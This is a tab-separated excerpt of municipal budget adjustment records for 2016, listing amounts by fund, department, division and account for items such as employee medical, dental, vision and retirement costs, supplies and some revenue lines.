19211	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511681.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19212	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	23689	0	0	0	0	0	0	0	0	0	0	0	23689
19213	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	1729	0	0	0	0	0	0	0	0	0	0	0	1729
19214	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	-85120	0	0	0	0	0	0	0	0	0	0	0	-85120
19215	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
19216	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	91782	0	0	0	0	0	0	0	0	0	0	0	91782
19217	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522620.0	RENT	804.0	 Supplies and Expenses	2016	19060	0	0	0	0	0	0	0	0	0	0	0	19060
19218	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2016	8000	0	0	0	0	0	0	0	0	0	0	0	8000
19219	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544280.0	HAZ-MAT SUPPLIES	806.0	 Supplies and Expenses	2016	12011	0	0	0	0	0	0	0	0	0	0	0	12011
19220	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	402740.0	SMURRF-CITY OF LA-CAPITAL	662.0	Other	2016	-161662	0	0	0	0	0	0	0	0	0	0	0	-161662
19221	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2016	724472	0	0	0	0	0	0	0	0	0	0	0	724472
19222	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511749.0	VISION	806.0	Salaries and Wages	2016	18413	0	0	0	0	0	0	0	0	0	0	0	18413
19223	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511748.0	DENTAL	806.0	Salaries and Wages	2016	98648	0	0	0	0	0	0	0	0	0	0	0	98648
19224	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511749.0	VISION	806.0	Salaries and Wages	2016	12740	0	0	0	0	0	0	0	0	0	0	0	12740
19225	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511749.0	VISION	806.0	Salaries and Wages	2016	15520	0	0	0	0	0	0	0	0	0	0	0	15520
19226	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511749.0	VISION	806.0	Salaries and Wages	2016	2220	0	0	0	0	0	0	0	0	0	0	0	2220
19227	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	387	0	0	0	0	0	0	0	0	0	0	0	387
19228	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511749.0	VISION	816.0	Salaries and Wages	2016	3124	0	0	0	0	0	0	0	0	0	0	0	3124
19229	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511748.0	DENTAL	808.0	Salaries and Wages	2016	5776	0	0	0	0	0	0	0	0	0	0	0	5776
19230	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	205	0	0	0	0	0	0	0	0	0	0	0	205
19231	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	29076	0	0	0	0	0	0	0	0	0	0	0	29076
19232	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	9711	0	0	0	0	0	0	0	0	0	0	0	9711
19233	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	813	0	0	0	0	0	0	0	0	0	0	0	813
19234	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	5857	0	0	0	0	0	0	0	0	0	0	0	5857
19235	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	3077	0	0	0	0	0	0	0	0	0	0	0	3077
19236	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	106357	0	0	0	0	0	0	0	0	0	0	0	106357
19237	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
19238	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533660.0	CONF / MTGS / TRAVEL-SH	804.0	 Supplies and Expenses	2016	7414	0	0	0	0	0	0	0	0	0	0	0	7414
19239	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2016	2219	0	0	0	0	0	0	0	0	0	0	0	2219
19240	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511748.0	DENTAL	816.0	Salaries and Wages	2016	7190	0	0	0	0	0	0	0	0	0	0	0	7190
19241	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2016	1035	0	0	0	0	0	0	0	0	0	0	0	1035
19242	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511748.0	DENTAL	808.0	Salaries and Wages	2016	28508	0	0	0	0	0	0	0	0	0	0	0	28508
19243	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	895	0	0	0	0	0	0	0	0	0	0	0	895
19244	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2016	15443	0	0	0	0	0	0	0	0	0	0	0	15443
19245	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2016	69818	0	0	0	0	0	0	0	0	0	0	0	69818
19246	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2016	3600	0	0	0	0	0	0	0	0	0	0	0	3600
19247	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511748.0	DENTAL	806.0	Salaries and Wages	2016	3967	0	0	0	0	0	0	0	0	0	0	0	3967
19248	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511748.0	DENTAL	804.0	Salaries and Wages	2016	10580	0	0	0	0	0	0	0	0	0	0	0	10580
19249	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2016	18255	0	0	0	0	0	0	0	0	0	0	0	18255
19250	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2016	2220	0	0	0	0	0	0	0	0	0	0	0	2220
19251	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19252	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2016	1334	0	0	0	0	0	0	0	0	0	0	0	1334
19253	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	22101	0	0	0	0	0	0	0	0	0	0	0	22101
19254	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	6833	0	0	0	0	0	0	0	0	0	0	0	6833
19255	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	1334	0	0	0	0	0	0	0	0	0	0	0	1334
19256	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511749.0	VISION	812.0	Salaries and Wages	2016	1632	0	0	0	0	0	0	0	0	0	0	0	1632
19257	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511749.0	VISION	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19258	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19259	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	1879	0	0	0	0	0	0	0	0	0	0	0	1879
19260	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511749.0	VISION	816.0	Salaries and Wages	2016	877	0	0	0	0	0	0	0	0	0	0	0	877
19261	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511748.0	DENTAL	816.0	Salaries and Wages	2016	26562	0	0	0	0	0	0	0	0	0	0	0	26562
19262	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511749.0	VISION	816.0	Salaries and Wages	2016	1632	0	0	0	0	0	0	0	0	0	0	0	1632
19263	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511749.0	VISION	808.0	Salaries and Wages	2016	4019	0	0	0	0	0	0	0	0	0	0	0	4019
19264	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511748.0	DENTAL	810.0	Salaries and Wages	2016	8884	0	0	0	0	0	0	0	0	0	0	0	8884
19265	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511749.0	VISION	810.0	Salaries and Wages	2016	1184	0	0	0	0	0	0	0	0	0	0	0	1184
19266	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2016	10693	0	0	0	0	0	0	0	0	0	0	0	10693
19267	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	1009	0	0	0	0	0	0	0	0	0	0	0	1009
19268	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	12278	0	0	0	0	0	0	0	0	0	0	0	12278
19269	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2016	8708	0	0	0	0	0	0	0	0	0	0	0	8708
19270	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2016	6908	0	0	0	0	0	0	0	0	0	0	0	6908
19271	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2016	24913	0	0	0	0	0	0	0	0	0	0	0	24913
19272	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	17490	0	0	0	0	0	0	0	0	0	0	0	17490
19273	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	26410	0	0	0	0	0	0	0	0	0	0	0	26410
19274	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	290685	0	0	0	0	0	0	0	0	0	0	0	290685
19275	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	89591	0	0	0	0	0	0	0	0	0	0	0	89591
19276	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	10480	0	0	0	0	0	0	0	0	0	0	0	10480
19277	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	121487	0	0	0	0	0	0	0	0	0	0	0	121487
19278	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	162919	0	0	0	0	0	0	0	0	0	0	0	162919
19279	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	100092	0	0	0	0	0	0	0	0	0	0	0	100092
19280	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	57582	0	0	0	0	0	0	0	0	0	0	0	57582
19281	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2016	388540	0	0	0	0	0	0	0	0	0	0	0	388540
19282	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	1187380	0	0	0	0	0	0	0	0	0	0	0	1187380
19283	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2016	1338302	0	0	0	0	0	0	0	0	0	0	0	1338302
19284	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2016	144818	0	0	0	0	0	0	0	0	0	0	0	144818
19285	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2016	189870	0	0	0	0	0	0	0	0	0	0	0	189870
19286	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2016	4728439	0	0	0	0	0	0	0	0	0	0	0	4728439
19287	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	8780	0	0	0	0	0	0	0	0	0	0	0	8780
19288	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	835335	0	0	0	0	0	0	0	0	0	0	0	835335
19289	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	76109	0	0	0	0	0	0	0	0	0	0	0	76109
19290	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	5310	0	0	0	0	0	0	0	0	0	0	0	5310
19291	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	127243	0	0	0	0	0	0	0	0	0	0	0	127243
19292	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	61879	0	0	0	0	0	0	0	0	0	0	0	61879
19293	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	470357	0	0	0	0	0	0	0	0	0	0	0	470357
19294	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	2259	0	0	0	0	0	0	0	0	0	0	0	2259
19295	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511749.0	VISION	812.0	Salaries and Wages	2016	3283	0	0	0	0	0	0	0	0	0	0	0	3283
19296	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2016	12208	0	0	0	0	0	0	0	0	0	0	0	12208
19297	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511748.0	DENTAL	840.0	Salaries and Wages	2016	26395	0	0	0	0	0	0	0	0	0	0	0	26395
19298	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511749.0	VISION	840.0	Salaries and Wages	2016	3237	0	0	0	0	0	0	0	0	0	0	0	3237
19299	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2016	137779	0	0	0	0	0	0	0	0	0	0	0	137779
19300	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2016	693658	0	0	0	0	0	0	0	0	0	0	0	693658
19301	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400740.0	OTHER FINES / FORFEITURES	614.0	Fines and Forfeitures	2016	-35000	0	0	0	0	0	0	0	0	0	0	0	-35000
19302	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	712	0	0	0	0	0	0	0	0	0	0	0	712
19303	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2016	6944	0	0	0	0	0	0	0	0	0	0	0	6944
19304	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544190.0	USAR SUPPLIES	806.0	 Supplies and Expenses	2016	12011	0	0	0	0	0	0	0	0	0	0	0	12011
19305	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400681.0	EMS REVENUE	612.0	Charges for Service	2016	-1099385	0	0	0	0	0	0	0	0	0	0	0	-1099385
19306	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2016	1623989	0	0	0	0	0	0	0	0	0	0	0	1623989
19307	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2016	198388	0	0	0	0	0	0	0	0	0	0	0	198388
19308	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2016	81209	0	0	0	0	0	0	0	0	0	0	0	81209
19309	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2016	376855	0	0	0	0	0	0	0	0	0	0	0	376855
19310	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2016	137364	0	0	0	0	0	0	0	0	0	0	0	137364
19311	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	284884	0	0	0	0	0	0	0	0	0	0	0	284884
19312	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	14090	0	0	0	0	0	0	0	0	0	0	0	14090
19313	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	171456	0	0	0	0	0	0	0	0	0	0	0	171456
19314	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19315	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	184050	0	0	0	0	0	0	0	0	0	0	0	184050
19316	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	201181	0	0	0	0	0	0	0	0	0	0	0	201181
19317	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	360445	0	0	0	0	0	0	0	0	0	0	0	360445
19318	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	769391	0	0	0	0	0	0	0	0	0	0	0	769391
19319	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	19400	0	0	0	0	0	0	0	0	0	0	0	19400
19320	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2016	119441	0	0	0	0	0	0	0	0	0	0	0	119441
19321	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2016	14020	0	0	0	0	0	0	0	0	0	0	0	14020
19322	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2016	7531	0	0	0	0	0	0	0	0	0	0	0	7531
19323	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2016	12337	0	0	0	0	0	0	0	0	0	0	0	12337
19324	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EAP	804.0	Salaries and Wages	2016	844	0	0	0	0	0	0	0	0	0	0	0	844
19325	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DCAP	804.0	Salaries and Wages	2016	574	0	0	0	0	0	0	0	0	0	0	0	574
19326	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	3183	0	0	0	0	0	0	0	0	0	0	0	3183
19327	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	6127	0	0	0	0	0	0	0	0	0	0	0	6127
19328	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	1556	0	0	0	0	0	0	0	0	0	0	0	1556
19329	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DCAP	804.0	Salaries and Wages	2016	1076	0	0	0	0	0	0	0	0	0	0	0	1076
19330	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19331	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		UNEMPLOYMENT	808.0	Salaries and Wages	2016	3853	0	0	0	0	0	0	0	0	0	0	0	3853
19332	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2016	951	0	0	0	0	0	0	0	0	0	0	0	951
19333	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511749.0	VISION	812.0	Salaries and Wages	2016	4458	0	0	0	0	0	0	0	0	0	0	0	4458
19334	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511748.0	DENTAL	840.0	Salaries and Wages	2016	8421	0	0	0	0	0	0	0	0	0	0	0	8421
19335	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2016	168	0	0	0	0	0	0	0	0	0	0	0	168
19336	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2016	303045	0	0	0	0	0	0	0	0	0	0	0	303045
19337	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2016	1230346	0	0	0	0	0	0	0	0	0	0	0	1230346
19338	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	5740	0	0	0	0	0	0	0	0	0	0	0	5740
19339	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	6402	0	0	0	0	0	0	0	0	0	0	0	6402
19340	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EAP	804.0	Salaries and Wages	2016	1582	0	0	0	0	0	0	0	0	0	0	0	1582
19341	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	9723	0	0	0	0	0	0	0	0	0	0	0	9723
19342	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DCAP	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19343	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EAP	804.0	Salaries and Wages	2016	859	0	0	0	0	0	0	0	0	0	0	0	859
19344	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	10546	0	0	0	0	0	0	0	0	0	0	0	10546
19345	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DCAP	804.0	Salaries and Wages	2016	1076	0	0	0	0	0	0	0	0	0	0	0	1076
19346	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	5395	0	0	0	0	0	0	0	0	0	0	0	5395
19347	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	29741	0	0	0	0	0	0	0	0	0	0	0	29741
19348	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	50971	0	0	0	0	0	0	0	0	0	0	0	50971
19349	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	2732	0	0	0	0	0	0	0	0	0	0	0	2732
19350	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		UNEMPLOYMENT	808.0	Salaries and Wages	2016	14593	0	0	0	0	0	0	0	0	0	0	0	14593
19351	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DCAP	808.0	Salaries and Wages	2016	1942	0	0	0	0	0	0	0	0	0	0	0	1942
